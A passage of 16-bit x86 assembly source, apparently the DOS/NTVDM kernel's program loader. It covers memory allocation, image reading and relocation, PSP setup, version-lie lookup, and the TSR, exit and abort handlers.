jmp Exec_Ret_Err
Exec_Chk_Mem:
; M063 - Start
mov al, [AllocMethod] ; save current alloc method in ax
mov bl, [AllocMsave]
mov [AllocMethod], bl ; restore original allocmethod
test bl, HIGH_ONLY ; Q: was the HIGH_ONLY bit already set
jnz Exec_No_Mem ; Y: no space in UMBs. Quit
; N: continue
test al, HIGH_ONLY ; Q: did we set the HIGH_ONLY bit
jz Exec_No_Mem ; N: no memory
mov ax, [save_ax] ; Y: restore ax and
jmp short Exec_Norm_Alloc ; Try again
; M063 - End
Exec_Allocate:
DOSAssume <DS>,"exec_allocate"
; M005 - START
; If there is no STACK segment for this exe file and if this
; not an overlay and the resident size is less than 64K -
; 256 bytes we shall add 256bytes bytes to the programs
; resident memory requirement and set Exec_SP to this value.
mov Exec_NoStack,0
cmp Exec_SS, 0 ; Q: is there a stack seg
jne @f ; Y: continue normal processing
cmp Exec_SP, 0 ; Q: is there a stack ptr
jne @f ; Y: continue normal processing
inc Exec_NoStack
cmp ax, 01000h-10h ; Q: is this >= 64K-256 bytes
jae @f ; Y: don't set Exec_SP
add ax, 010h ; add 10h paras to mem requirement
@@:
; M005 - END
; M000 - start
test byte ptr [AllocMethod], HIGH_FIRST
; Q: is the alloc strat high_first
jz Exec_Norm_Alloc ; N: normal allocate
; Y: set high_only bit
or byte ptr [AllocMethod], HIGH_ONLY
; M000 - end
Exec_Norm_Alloc:
mov [save_ax], ax ; M000: save ax for possible 2nd
; M000: attempt at allocating memory
; push ax ; M000
mov BX,0ffffh ; see how much room in arena
push DS
invoke $Alloc ; should have carry set and BX has max
pop DS
mov ax, [save_ax] ; M000
; pop AX ; M000
add AX,10h ; room for header
cmp BX,11h ; enough room for a header
jb Exec_Chk_Mem ; M000
; jb Exec_No_Mem ; M000
cmp AX,BX ; is there enough for bare image?
ja Exec_Chk_Mem ; M000
; ja Exec_No_Mem ; M000
test Exec_Load_High,-1 ; if load high, use max
jnz Exec_BX_Max ; use max
add AX,Exec_Min_BSS ; go for min allocation;rms;NSS
jc Exec_Chk_Mem ; M000
; jc Exec_No_Mem ; M000: oops! carry
cmp AX,BX ; enough space?
ja Exec_Chk_Mem ; M000: nope...
; ja Exec_No_Mem ; M000: nope...
sub AX,Exec_Min_BSS ; rms;NSS
add AX,Exec_Max_BSS ; go for the MAX
jc Exec_BX_Max
cmp AX,BX
jbe Exec_Got_Block
Exec_BX_Max:
mov AX,BX
Exec_Got_Block:
push DS
mov BX,AX
mov exec_size,BX
invoke $Alloc ; get the space
pop DS
ljc exec_chk_mem ; M000
mov cl, [AllocMsave] ; M063:
mov [AllocMethod], cl ; M063: restore allocmethod
;M029; Begin changes
; This code does special handling for programs with no stack segment. If so,
;check if the current block is larger than 64K. If so, we do not modify
;Exec_SP. If smaller than 64K, we make Exec_SP = top of block. In either
;case Exec_SS is not changed.
;
cmp Exec_NoStack,0
je @f
cmp bx,1000h ; Q: >= 64K memory block
jae @f ; Y: Exec_SP = 0
;
;Make Exec_SP point at the top of the memory block
;
mov cl,4
shl bx,cl ; get byte offset
sub bx,100h ; take care of PSP
mov Exec_SP,bx ; Exec_SP = top of block
@@:
;
;M029; end changes
;
mov exec_load_block,AX
add AX,10h
test exec_load_high,-1
jz exec_use_ax ; use ax for load info
add AX,exec_size ; go to end
sub AX,exec_res_len_para ; drop off header
sub AX,10h ; drop off pdb
Exec_Use_AX:
mov Exec_Rel_Fac,AX ; new segment
mov Exec_Dma,AX ; beginning of dma
; Determine the location in the file of the beginning of
; the resident
Exec_Find_Res:
; Save info needed for bopping to debugger
; Exec_Res_Len contains len of image in bytes
test ss:[SCS_ISDEBUG],ISDBG_DEBUGGEE
je e_nodbg0
mov ax, Exec_Res_Len_Para
mov bx, ax
mov cl, 4
shl ax, cl
mov Exec_Res_LenL, ax
mov cl, 12
shr bx, cl
mov Exec_Res_LenH, bx
e_nodbg0:
mov DX, exec_dma
mov exec_dma_save, DX
mov DX,Exec_Par_Dir
push DX
mov CL,4
shl DX,CL ; low word of location
pop AX
mov CL,12
shr AX,CL ; high word of location
mov CX,AX ; CX <- high
; Read in the resident image (first, seek to it)
mov BX,Exec_FH
push DS
xor AL,AL
invoke $Lseek ; Seek to resident
pop DS
jnc exec_big_read
jmp exec_bomb
Exec_Big_Read: ; Read resident into memory
mov BX,Exec_Res_Len_Para
cmp BX,1000h ; Too many bytes to read?
jb Exec_Read_OK
mov BX,0fe0h ; Max in one chunk FE00 bytes
Exec_Read_OK:
sub Exec_Res_Len_Para,BX ; We read (soon) this many
push BX
mov CL,4
shl BX,CL ; Get count in bytes from paras
mov CX,BX ; Count in correct register
push DS
mov DS,Exec_DMA ; Set up read buffer
ASSUME DS:NOTHING
xor DX,DX
push CX ; Save our count
call ExecRead
pop CX ; Get old count to verify
pop DS
jc Exec_Bad_FileJ
DOSAssume <DS>,"exec_read_ok"
cmp CX,AX ; Did we read enough?
pop BX ; Get paragraph count back
jz ExecCheckEnd ; and do reloc if no more to read
; The read did not match the request. If we are off by 512
; bytes or more then the header lied and we have an error.
sub CX,AX
cmp CX,512
ifdef DBCS
ja Exec_Bad_FileJ
else ; !DBCS
jae Exec_Bad_FileJ
endif ; !DBCS
; We've read in CX bytes... bump DTA location
ExecCheckEnd:
add Exec_DMA,BX ; Bump dma address
test Exec_Res_Len_Para,-1
jnz Exec_Big_Read
; The image has now been read in. We must perform relocation
; to the current location.
exec_do_reloc:
mov CX,Exec_Rel_Fac
mov AX,Exec_SS ; get initial SS ;rms;NSS
add AX,CX ; and relocate him
mov Exec_Init_SS,AX ; rms;NSS
mov AX,Exec_SP ; initial SP ;rms;NSS
mov Exec_Init_SP,AX ; rms;NSS
les AX,DWORD PTR exec_IP ; rms;NSS
mov Exec_Init_IP,AX ; rms;NSS
mov AX,ES ; rms;NSS
add AX,CX ; relocated...
mov Exec_Init_CS,AX ; rms;NSS
xor CX,CX
mov DX,Exec_RLE_Table ; rms;NSS
mov BX,Exec_FH
push DS
xor AX,AX
invoke $Lseek
pop DS
jnc Exec_Get_Entries
exec_bad_filej:
jmp Exec_Bad_File
exec_get_entries:
mov DX,Exec_RLE_Count ; Number of entries left ;rms;NSS
exec_read_reloc:
ASSUME DS:NOTHING
push DX
mov DX,OFFSET DOSDATA:Exec_Internal_Buffer
mov CX,((EXEC_INTERNAL_BUFFER_SIZE)/4)*4
push DS
call ExecRead
pop ES
pop DX
jc Exec_Bad_FileJ
mov CX,(EXEC_INTERNAL_BUFFER_SIZE)/4
; Pointer to byte location in header
mov DI,OFFSET DOSDATA:exec_internal_buffer
mov SI,Exec_Rel_Fac ; Relocate a single address
exec_reloc_one:
or DX,DX ; Any more entries?
je Exec_Set_PDBJ
exec_get_addr:
lds BX,DWORD PTR ES:[DI] ; Get ra/sa of entry
mov AX,DS ; Relocate address of item
;;;;;; add AX,SI
add AX, exec_dma_save
mov DS,AX
add [BX],SI
add DI,4
dec DX
loop Exec_Reloc_One ; End of internal buffer?
; We've exhausted a single buffer's worth. Read in the next
; piece of the relocation table.
push ES
pop DS
jmp Exec_Read_Reloc
Exec_Set_PDBJ:
;
; We now determine if this is a buggy exe packed file and if
; so we patch in the right code. Note that fixexepatch will
; point to a ret if dos loads low. The load segment as
; determined above will be in exec_dma_save
;
push es
push ax ; M030
push cx ; M030
mov es, exec_dma_save
mov ax, exec_init_CS ; M030
mov cx, exec_init_IP ; M030
call word ptr [fixexepatch]
pop cx ; M030
pop ax ; M030
pop es
jmp Exec_Set_PDB
Exec_No_Memj:
jmp Exec_No_Mem
; we have a .COM file. First, determine if we are merely
; loading an overlay.
Exec_Com_File:
test BYTE PTR Exec_Func,EXEC_FUNC_OVERLAY
jz Exec_Alloc_Com_File
lds SI,Exec_Blk ; get arg block
lodsw ; get load address
mov Exec_DMA,AX
;;williamh change BEGIN
;; this instruction is commentted out because it doesn't work under
;; NT(we may have invalid address space within(Exec_DMA:0 + Exec_DMA:0xffff)
;;
;;;;;; mov AX,0ffffh
;; figure out the bare image size
mov bx, Exec_FH ;the file handle
xor cx, cx
mov dx, cx
mov ax, 2
invoke $Lseek ;move file to the end
mov Exec_ComOverlay, 1 ;we are loading COM file as an overlay
;;williamh change END
jmp SHORT Exec_Read_Block ; read it all!
Exec_Chk_Com_Mem:
; M063 - Start
mov al, [AllocMethod] ; save current alloc method in ax
mov bl, [AllocMsave]
mov [AllocMethod], bl ; restore original allocmethod
test bl, HIGH_ONLY ; Q: was the HIGH_ONLY bit already set
jnz Exec_No_Memj ; Y: no space in UMBs. Quit
; N: continue
test al, HIGH_ONLY ; Q: did we set the HIGH_ONLY bit
jz Exec_No_Memj ; N: no memory
mov ax, exec_load_block ; M047: ax = block we just allocated
xor bx, bx ; M047: bx => free arena
call ChangeOwner ; M047: free this block
jmp short Exec_Norm_Com_Alloc
; M063 - End
; We must allocate the max possible size block (ick!)
; and set up CS=DS=ES=SS=PDB pointer, IP=100, SP=max
; size of block.
Exec_Alloc_Com_File:
; M000 -start
test byte ptr [AllocMethod], HIGH_FIRST
; Q: is the alloc strat high_first
jz Exec_Norm_Com_Alloc ; N: normal allocate
; Y: set high_only bit
or byte ptr [AllocMethod], HIGH_ONLY
; M000 - end
Exec_Norm_Com_Alloc: ; M000
mov BX,0FFFFh
invoke $Alloc ; largest piece available as error
or BX,BX
jz Exec_Chk_Com_Mem ; M000
; jz Exec_No_Memj ; M000
mov Exec_Size,BX ; save size of allocation block
push BX
invoke $ALLOC ; largest piece available as error
pop BX ; get size of block...
mov Exec_Load_Block,AX
add AX,10h ; increment for header
mov Exec_DMA,AX
xor AX,AX ; presume 64K read...
cmp BX,1000h ; 64k or more in block?
jae Exec_Read_Com ; yes, read only 64k
mov AX,BX ; convert size to bytes
mov CL,4
shl AX,CL
cmp AX,100h ; enough memory for PSP?
jbe Exec_Chk_Com_Mem ; M000: jump if not
; jbe Exec_No_Memj ; M000: jump if not
; M047: size of the block is < 64K
sub ax, 100h ; M047: reserve 256 bytes for stack
Exec_Read_Com:
sub AX,100h ; remember size of psp
Exec_Read_Block:
push AX ; save number to read
mov BX,Exec_FH ; of com file
xor CX,CX ; but seek to 0:0
mov DX,CX
xor AX,AX ; seek relative to beginning
invoke $Lseek ; back to beginning of file
pop CX ; number to read
mov DS,Exec_DMA
xor DX,DX
push CX
call ExecRead
pop SI ; get number of bytes to read
jnc OkRead
jmp Exec_Bad_File
OkRead:
;; williamh change BEGIN
cmp Exec_ComOverlay, 0
jne OkLoad
;; williamh change END
cmp AX,SI ; did we read them all?
ljz Exec_Chk_Com_Mem ; M00: exactly the wrong number...no
; ljz Exec_No_Memj ; M00: exactly the wrong number...
;;williamh change BEGIN
OkLoad:
;;williamh change END
test ss:[SCS_ISDEBUG],ISDBG_DEBUGGEE
je e_nodbg1
; Save info needed for bopping to debugger
; Exec_Res_Len contains len of image
; Exec_Rel_Fac contains start addr\reloc factor
;
push ax
mov Exec_Res_LenL, ax
mov Exec_Res_LenH, 0
mov ax, Exec_DMA
mov Exec_Rel_Fac, ax
pop ax
e_nodbg1:
mov bl, [AllocMsave] ; M063
mov [AllocMethod], bl ; M063: restore allocmethod
test BYTE PTR Exec_Func,EXEC_FUNC_OVERLAY
jnz Exec_Set_PDB ; no starto, chumo!
mov AX,Exec_DMA
sub AX,10h
mov Exec_Init_CS,AX
mov Exec_Init_IP,100h ; initial IP is 100
; SI is AT MOST FF00h. Add FE to account for PSP - word
; of 0 on stack.
add SI,0feh ; make room for stack
cmp si, 0fffeh ; M047: Q: was there >= 64K available
je Exec_St_Ok ; M047: Y: stack is fine
add si, 100h ; M047: N: add the xtra 100h for stack
Exec_St_Ok:
mov Exec_Init_SP,SI ; max value for read is also SP!;smr;SS Override
mov Exec_Init_SS,AX ;smr;SS Override
mov DS,AX
mov WORD PTR [SI],0 ; 0 for return
;
; M068
;
; We now determine if this is a Copy Protected App. If so the
; A20OFF_COUNT is set to 6. Note that ChkCopyProt will point to a
; a ret if DOS is loaded low. Also DS contains the load segment.
call word ptr [ChkCopyProt]
Exec_Set_PDB:
mov BX,Exec_FH ; we are finished with the file.
call Exec_Dealloc
push BP
invoke $Close ; release the jfn
pop BP
call Exec_Alloc
test ss:[SCS_ISDEBUG],ISDBG_DEBUGGEE
je e_nodbg2
SAVEREG <ax,bx,dx,di>
; bop to debugger for all ExeTypes to signal LOAD symbols
; BX - Start Address or relocation factor
; DX:AX - Size of exe resident image
; ES:DI - Name of exe image
cmp ExecFlag, 0
je Exec_sym_exe_file
mov bx, WORD PTR Exec_Load_Block
jmp Exec_sym
Exec_sym_exe_file:
mov bx, WORD PTR Exec_Rel_Fac
Exec_sym:
mov dx, Exec_Res_LenH
mov ax, Exec_Res_LenL
les di, ExecName
SVC SVC_DEMLOADDOSAPPSYM
RESTOREREG <di,dx,bx,ax>
e_nodbg2:
test BYTE PTR Exec_Func,EXEC_FUNC_OVERLAY
jz Exec_Build_Header
call Scan_Execname
call Scan_Special_Entries
;SR;
;The current lie strategy uses the PSP to store the lie version. However,
;device drivers are loaded as overlays and have no PSP. To handle them, we
;use the Sysinit flag provided by the BIOS as part of a structure pointed at
;by BiosDataPtr. If this flag is set, the overlay call has been issued from
;Sysinit and therefore must be a device driver load. We then get the lie
;version for this driver and put it into the Sysinit PSP. When the driver
;issues the version check, it gets the lie version until the next overlay
;call is issued.
;
cmp DriverLoad,0 ;was Sysinit processing done?
je norm_ovl ;yes, no special handling
push si
push es
les si,BiosDataPtr ;get ptr to BIOS data block
cmp byte ptr es:[si],0 ;in Sysinit?
je sysinit_done ;no, Sysinit is finished
mov es,CurrentPDB ;es = current PSP (Sysinit PSP)
push Special_Version
pop es:PDB_Version ;store lie version in Sysinit PSP
jmp short setver_done
sysinit_done:
mov DriverLoad,0 ;Sysinit done,special handling off
setver_done:
pop es
pop si
norm_ovl:
leave
transfer Sys_Ret_OK ; overlay load -> done
Exec_Build_Header:
mov DX,Exec_Load_Block
; assign the space to the process
mov SI,Arena_Owner ; pointer to owner field
mov AX,Exec_Environ ; get environ pointer
or AX,AX
jz No_Owner ; no environment
dec AX ; point to header
mov DS,AX
mov [SI],DX ; assign ownership
No_Owner:
mov AX,Exec_Load_Block ; get load block pointer
dec AX
mov DS,AX ; point to header
mov [SI],DX ; assign ownership
push DS ;AN000;MS. make ES=DS
pop ES ;AN000;MS.
mov DI,Arena_Name ;AN000;MS. ES:DI points to destination
call Scan_Execname ;AN007;MS. parse execname
; ds:si->name, cx=name length
push CX ;AN007;;MS. save for fake version
push SI ;AN007;;MS. save for fake version
MoveName: ;AN000;
lodsb ;AN000;;MS. get char
cmp AL,'.' ;AN000;;MS. is '.' ,may be name.exe
jz Mem_Done ;AN000;;MS. no, move to header
;AN000;
stosb ;AN000;;MS. move char
; MSKK bug fix - limit length copied
cmp di,16 ; end of memory arena block?
jae mem_done ; jump if so
loop movename ;AN000;;MS. continue
Mem_Done: ;AN000;
xor AL,AL ;AN000;;MS. make ASCIIZ
cmp DI,SIZE ARENA ;AN000;MS. if not all filled
jae Fill8 ;AN000;MS.
stosb ;AN000;MS.
Fill8: ;AN000;
pop SI ;AN007;MS. ds:si -> file name
pop CX ;AN007;MS.
call Scan_Special_Entries ;AN007;MS.
push DX
mov SI,exec_size
add SI,DX
push ax
mov ax,1
call set_exec_bit
pop ax
Invoke $Dup_PDB ; ES is now PDB
push ax
xor ax,ax
call set_exec_bit
pop ax
pop DX
push exec_environ
pop ES:[PDB_environ]
; *** Added for DOS 5.00
; version number in PSP
push [Special_Version] ; Set the DOS version number to
pop ES:[PDB_Version] ; to be used for this application
; set up proper command line stuff
lds SI,Exec_Blk ; get the block
push DS ; save its location
push SI
lds SI,[SI.EXEC0_5C_FCB] ; get the 5c fcb
; DS points to user space 5C FCB
mov CX,12 ; copy drive, name and ext
push CX
mov DI,5Ch
mov BL,[SI]
rep movsb
; DI = 5Ch + 12 = 5Ch + 0Ch = 68h
xor AX,AX ; zero extent, etc for CPM
stosw
stosw
; DI = 5Ch + 12 + 4 = 5Ch + 10h = 6Ch
pop CX
pop SI ; get block
pop DS
push DS ; save (again)
push SI
lds SI,[SI.exec0_6C_FCB] ; get 6C FCB
; DS points to user space 6C FCB
mov BH,[SI] ; do same as above
rep movsb
stosw
stosw
pop SI ; get block (last time)
pop DS
lds SI,[SI.exec0_com_line] ; command line
; DS points to user space 80 command line
or CL,80h
mov DI,CX
rep movsb ; Wham!
; Process BX into default AX (validity of drive specs on args).
; We no longer care about DS:SI.
dec CL ; get 0FFh in CL
mov AL,BH
xor BH,BH
invoke GetVisDrv
jnc Exec_BL
mov BH,CL
Exec_BL:
mov AL,BL
xor BL,BL
invoke GetVisDrv
jnc exec_Set_Return
mov BL,CL
Exec_Set_Return:
invoke get_user_stack ; get his return address
push [SI.user_CS] ; take out the CS and IP
push [SI.user_IP]
push [SI.user_CS] ; take out the CS and IP
push [SI.user_IP]
pop WORD PTR ES:[PDB_Exit]
pop WORD PTR ES:[PDB_Exit+2]
xor AX,AX
mov DS,AX
; save them where we can get them
; later when the child exits.
pop DS:[ADDR_INT_TERMINATE]
pop DS:[ADDR_INT_TERMINATE+2]
mov WORD PTR DMAADD,80h ; SS Override
mov DS,CurrentPDB ; SS Override
mov WORD PTR DMAADD+2,DS ; SS Override
test BYTE PTR exec_func,exec_func_no_execute
jz exec_go
lds SI,DWORD PTR Exec_Init_SP ; get stack SS Override
les DI,Exec_Blk ; and block for return
mov ES:[DI].EXEC1_SS,DS ; return SS
dec SI ; 'push' default AX
dec SI
mov [SI],BX ; save default AX reg
mov ES:[DI].Exec1_SP,SI ; return 'SP'
lds AX,DWORD PTR Exec_Init_IP ; SS Override
mov ES:[DI].Exec1_CS,DS ; initial entry stuff
mov ES:[DI].Exec1_IP,AX
leave
transfer Sys_Ret_OK
exec_go:
ifdef NEC_98
call EMS_MNT ; restore page frame status
endif ;NEC_98
lds SI,DWORD PTR Exec_Init_IP ; get entry point SS Override
les DI,DWORD PTR Exec_Init_SP ; new stack SS Override
mov AX,ES
cmp [DosHasHMA], 0 ; Q: is dos in HMA (M021)
je Xfer_To_User ; N: transfer control to user
push ds ; Y: control must go to low mem stub
getdseg <ds> ; where we disable a20 and Xfer
; control to user
or [DOS_FLAG], EXECA20OFF ; M068:
; M004: Set bit to signal int 21
; ah = 25 & ah= 49. See dossym.inc
; under TAG M003 & M009 for
; explanation
mov [A20OFF_PSP], dx ; M068: set the PSP for which A20 is
; M068: going to be turned OFF.
mov ax, ds ; ax = segment of low mem stub
pop ds
assume ds:nothing
push ax ; ret far into the low mem stub
mov ax, OFFSET Disa20_Xfer
push ax
mov AX,ES ; restore ax
retf
Xfer_To_User:
; DS:SI points to entry point
; AX:DI points to initial stack
; DX has PDB pointer
; BX has initial AX value
SVC SVC_DEMENTRYDOSAPP
invoke DOCLI
mov BYTE PTR InDos,0 ; SS Override
ASSUME SS:NOTHING
mov SS,AX ; set up user's stack
mov SP,DI ; and SP
STI ; took out DOSTI as SP may be bad
push DS ; fake long call to entry
push SI
mov ES,DX ; set up proper seg registers
mov DS,DX
mov AX,BX ; set up proper AX
retf
EndProc $Exec
; =========================================================================
;
; =========================================================================
Procedure ExecRead,NEAR
CALL exec_dealloc
MOV bx,exec_fh
PUSH BP
invoke $READ
POP BP
CALL exec_alloc
return
EndProc ExecRead
; =========================================================================
;
; =========================================================================
procedure exec_dealloc,near
push BX
.errnz arena_owner_system
sub BX,BX ; (bx) = ARENA_OWNER_SYSTEM
EnterCrit CritMEM
call ChangeOwners
pop BX
return
EndProc exec_dealloc
; =========================================================================
;
; =========================================================================
procedure exec_alloc,near
ASSUME SS:DOSDATA
push BX
mov BX,CurrentPDB ; SS Override
call ChangeOwners
LeaveCrit CritMEM
pop BX
return
EndProc exec_alloc
; =========================================================================
;
; =========================================================================
PROCEDURE ChangeOwners,NEAR
push AX
lahf
push AX
mov AX,exec_environ
call ChangeOwner
mov AX,exec_load_block
call ChangeOwner
pop AX
sahf
pop ax
return
ENDPROC ChangeOwners
; =========================================================================
;
; =========================================================================
PROCEDURE ChangeOwner,NEAR
or AX,AX ; is area allocated?
retz ; no, do nothing
dec AX
push DS
mov DS,AX
mov DS:[ARENA_OWNER],BX
pop DS
return
EndProc ChangeOwner
; =========================================================================
;
; =========================================================================
Procedure Scan_Execname,near
ASSUME SS:DosData
lds SI,ExecName ; DS:SI points to name
Entry Scan_Execname1 ; M028
Save_Begin: ;
mov CX,SI ; CX= starting addr
Scan0: ;
lodsb ; get char
IFDEF DBCS ; MSKK01 07/14/89
invoke TESTKANJ ; Is Character lead byte of DBCS?
jz @F ; jump if not
lodsb ; skip over DBCS character
jmp short scan0 ; do scan again
@@:
ENDIF
cmp AL,':' ; is ':' , may be A:name
jz save_begin ; yes, save si
cmp AL,'\' ; is '\', may be A:\name
jz save_begin ; yes, save si
cmp AL,0 ; is end of name
jnz scan0 ; no, continue scanning
sub SI,CX ; get name's length
xchg SI,CX ; cx= length, si= starting addr
return
EndProc Scan_Execname
; =========================================================================
;
; =========================================================================
Procedure Scan_Special_Entries,near
assume SS:DOSDATA
dec CX ; cx= name length
;M060 mov DI,[Special_Entries] ; es:di -> addr of special entries
;reset to current version
mov [Special_Version],(Minor_Version SHL 8) + Major_Version
;*** call Reset_Version
;M060 push SS
;M060 pop ES
les DI,SS:UU_IFS_DOS_CALL ;M060; ES:DI --> Table in SETVER.SYS
mov AX,ES ;M060; First do a NULL ptr check to
or AX,DI ;M060; be sure the table exists
jz End_List ;M060; If ZR then no table
GetEntries:
mov AL,ES:[DI] ; end of list
or AL,AL
jz End_List ; yes
mov [Temp_Var2],DI ; save di
cmp AL,CL ; same length ?
jnz SkipOne ; no
inc DI ; es:di -> special name
push CX ; save length and name addr
push SI
;
; M050 - BEGIN
;
push ax ; save len
sse_next_char:
lodsb
IFDEF DBCS ; MSKK01 09/29/93
invoke TESTKANJ ; Is Character lead byte of DBCS?
jz ucase_it ; jump if not
scasb ; put into user's buffer
lodsb ; skip over DBCS character
jne Not_Matched
dec cx
jmp short skip_ucase ; skip upcase
ucase_it:
ENDIF
call UCase
IFDEF DBCS
skip_ucase:
ENDIF
scasb
jne Not_Matched
loop sse_next_char
;
; repz cmpsb ; same name ?
;
; jnz Not_Matched ; no
;
pop ax ; take len off the stack
;
; M050 - END
;
mov AX,ES:[DI] ; get special version
mov [Special_Version],AX ; save it
;*** mov AL,ES:[DI+2] ; get fake count
;*** mov [Fake_Count],AL ; save it
pop SI
pop CX
jmp SHORT end_list
Not_Matched:
pop ax ; get len from stack ; M050
pop SI ; restore si,cx
pop CX
SkipOne:
mov DI,[Temp_Var2] ; restore old di use SS Override
xor AH,AH ; position to next entry
add DI,AX
add DI,3 ; DI -> next entry length
;*** add DI,4 ; DI -> next entry length
jmp Getentries
End_List:
return
EndProc Scan_Special_Entries
; =========================================================================
;
; =========================================================================
;
;Procedure Reset_Version,near
; assume SS:DOSDATA
;
; cmp [Fake_Count],0ffh
; jnz @F
; mov [Special_Version],0 ;reset to current version
;@@:
; return
;
;EndProc Reset_Version,near
PAGE
; =========================================================================
;SUBTTL Terminate and stay resident handler
;
; Input: DX is an offset from CurrentPDB at which to
; truncate the current block.
;
; output: The current block is truncated (expanded) to be [DX+15]/16
; paragraphs long. An exit is simulated via resetting CurrentPDB
; and restoring the vectors.
;
; =========================================================================
PROCEDURE $Keep_process ,NEAR
ASSUME DS:NOTHING,ES:NOTHING,SS:DosData
push AX ; keep exit code around
mov BYTE PTR Exit_type,EXIT_KEEP_PROCESS
mov BYTE PTR SCS_TSR,1
mov ES,CurrentPDB
cmp DX,6h ; keep enough space around for system
jae Keep_shrink ; info
mov DX,6h
Keep_Shrink:
mov BX,DX
push BX
push ES
invoke $SETBLOCK ; ignore return codes.
pop DS
pop BX
jc keep_done ; failed on modification
mov AX,DS
add AX,BX
mov DS:PDB_block_len,AX ;PBUGBUG
Keep_Done:
pop AX
jmp SHORT exit_inner ; and let abort take care of the rest
EndProc $Keep_process
; =========================================================================
;
; =========================================================================
PROCEDURE Stay_Resident,NEAR
ASSUME DS:NOTHING,ES:NOTHING,SS:NOTHING
mov AX,(Keep_process SHL 8) + 0 ; Lower part is return code;PBUGBUG
add DX,15
rcr DX,1
mov CL,3
shr DX,CL
transfer COMMAND
ENDPROC Stay_resident
PAGE
; =========================================================================
;SUBTTL $EXIT - return to parent process
; Assembler usage:
; MOV AL, code
; MOV AH, Exit
; INT int_command
; Error return:
; None.
;
; =========================================================================
PROCEDURE $Exit ,NEAR
ASSUME DS:NOTHING,ES:NOTHING,SS:DosData
xor AH,AH
xchg AH,BYTE PTR DidCtrlC
or AH,AH
mov BYTE PTR Exit_Type,EXIT_TERMINATE
jz exit_inner
mov BYTE PTR Exit_type,exit_ctrl_c
entry Exit_inner
invoke get_user_stack ;PBUGBUG
ASSUME DS:NOTHING
push CurrentPDB
pop [SI.User_CS] ;PBUGBUG
jmp SHORT Abort_Inner
EndProc $EXIT
BREAK <$ABORT -- Terminate a process>
; =========================================================================
; Inputs:
; user_CS:00 must point to valid program header block
; Function:
; Restore terminate and Cntrl-C addresses, flush buffers and transfer to
; the terminate address
; Returns:
; TO THE TERMINATE ADDRESS
; =========================================================================
PROCEDURE $Abort ,NEAR
ASSUME DS:NOTHING,ES:NOTHING ;PBUGBUG
xor AL,AL
mov exit_type,exit_abort
; abort_inner must have AL set as the exit code! The exit type
; is retrieved from exit_type. Also, the PDB at user_CS needs
; to be correct as the one that is terminating.
PUBLIC Abort_Inner
Abort_Inner:
mov AH,Exit_Type
mov Exit_Code,AX
test ss:[SCS_ISDEBUG],ISDBG_DEBUGGEE
je Abt_EndBopFree
test ah, EXIT_KEEP_PROCESS ; no unload, tsr staying in memory
jnz Abt_EndBopFree
; go to end of env (double NULL)
; get address of exe image name
mov es, CurrentPDB
mov ax, es:PDB_environ
or ax, ax
jz Abt_EndBopFree ; krnl386 sets PDB_environ to NULL
mov es, ax ; for WOW tasks, it's already notified debugger
xor di, di
xor al, al
mov cx, 8000h ; at most 32k of environment
cld
Abt_SearchName:
repnz scasb ; look for null byte
jnz Abt_EndBopFree ; end not found, give up
dec cx ; Dec CX for the next nul byte test
jz Abt_EndBopFree ; end not found, give up
scasb ; is there another nul byte?
jnz Abt_SearchName ; no, scan some more
mov ax, word ptr es:[di] ; word after double-null must be 0x1
dec ax ; s/b zero now
jnz Abt_EndBopFree
; adv di past 0x1
dec cx
jcxz Abt_EndBopFree
inc di
dec cx
jcxz Abt_EndBopFree
inc di
; es:di points to FullyQualiedFileName of this exe image
; Bop to debugger, to notify Free Symbols
SVC SVC_DEMFREEDOSAPPSYM
Abt_EndBopFree:
invoke Get_User_Stack
ASSUME DS:NOTHING
mov DS,[SI.User_CS] ; set up old interrupts ;PBUGBUG
xor AX,AX
mov ES,AX
mov SI,SavExit
mov DI,Addr_Int_Terminate
movsw
movsw
movsw
movsw
movsw
movsw
transfer reset_environment
ENDPROC $ABORT
;==========================================================================
;
; fixexepatch will poin to this is DOS loads low.
;
;=========================================================================
retexepatch proc near
ret
retexepatch endp
set_exec_bit proc
push ds
or ax,ax
mov ax,40h
mov ds,ax
jz seb_clear
lock or word ptr ds:[FIXED_NTVDMSTATE_REL40], EXEC_BIT_MASK
jmp short seb_done
seb_clear:
lock and word ptr ds:[FIXED_NTVDMSTATE_REL40], NOT EXEC_BIT_MASK
seb_done:
pop ds
ret
set_exec_bit endp
;===========================================================================
;determine the given binary type
; input: ds:dx = lpszExecName
; ExecFlag = 1 if new header checking is necessary
; ExecFlag = 0 if new header checking is not necessary
; output: CY -> file opening/reading error, (AL) has error code
; else
; (AL) = 0 if .exe file, Exec_Fh contains the file handle
; (AL) = 1 if .com file, Exec_Fh contains the file handle
; (AL) = 0ffh if unknown
;
; modified: AX, CX
;
; note: use the caller's local var frame(addressed by BP)
;===========================================================================
get_binary_type proc
ExecSignature_NE equ "EN" ;; signature for win16 or os/2 bound
ExecSignature_PE equ "EP" ;; nt image
ExecSignature_LE equ "EL" ;; os/2
push ds
push es
push bx
push dx
xor AL,AL ; open for reading
push BP
or [DOS_FLAG], EXECOPEN ; this flag is set to indicate to
; the redir that this open call is
; due to an exec.
invoke $OPEN ; is the file there?
; sudeepb 22-Dec-1992 removed a costly pair of pushf/popf
push ax
lahf
and [DOS_FLAG], not EXECOPEN; reset flag
sahf
pop ax
pop BP
jc GBT_jmp_exit ;can not find the file
mov Exec_Fh,AX ;save the file handle
mov BX,AX
xor AL,AL
invoke $Ioctl
jc GBT_Bomb
test DL,DEVID_ISDEV
jz GBT_check_header
mov AL,ERROR_FILE_NOT_FOUND
jmp GBT_bomb
GBT_Bad_File:
mov AL,Error_Bad_Format
GBT_Bomb:
push BP
invoke $CLOSE
pop bp
stc
GBT_jmp_exit:
jmp GBT_exit
GBT_check_header:
Context DS
mov CX,Exec_Header_Len ; old header size
cmp ExecFlag, 0
je GBT_read_header
mov cx, Exec_Header_Len_NE
GBT_read_header:
mov DX,OFFSET DosData:Exec_Signature
push ES
push DS
push BP
invoke $READ
pop bp
pop DS
pop ES
jc GBT_Bad_File
or AX,AX
jz GBT_Bad_File
cmp AX,EXEC_HEADER_LEN ; at least the size should be this size
jl GBT_com_file ; if no, it is a .com file
mov CX,Exec_Signature ; get the singnature from the file
cmp CX,Exe_Valid_Signature ;
jz GBT_check_new_header ; assume com file if no signature
cmp CX,exe_valid_Old_Signature ; ???????????????????
jne GBT_com_file ; assume com file if no signature
GBT_check_new_header:
cmp ExecFlag, 0
je GBT_exe_file
cmp ax, Exec_header_len_NE ;if we don't read in what we expect,
jne GBT_exe_file ; it is an ordinary dos exe
mov cx, Exec_NE_offset ;get the offset to the new header
jcxz GBT_exe_file ;if no new header at all, it is a dos exe
mov dx, cx
xor cx, cx
xor ax, ax
push ds
push bp
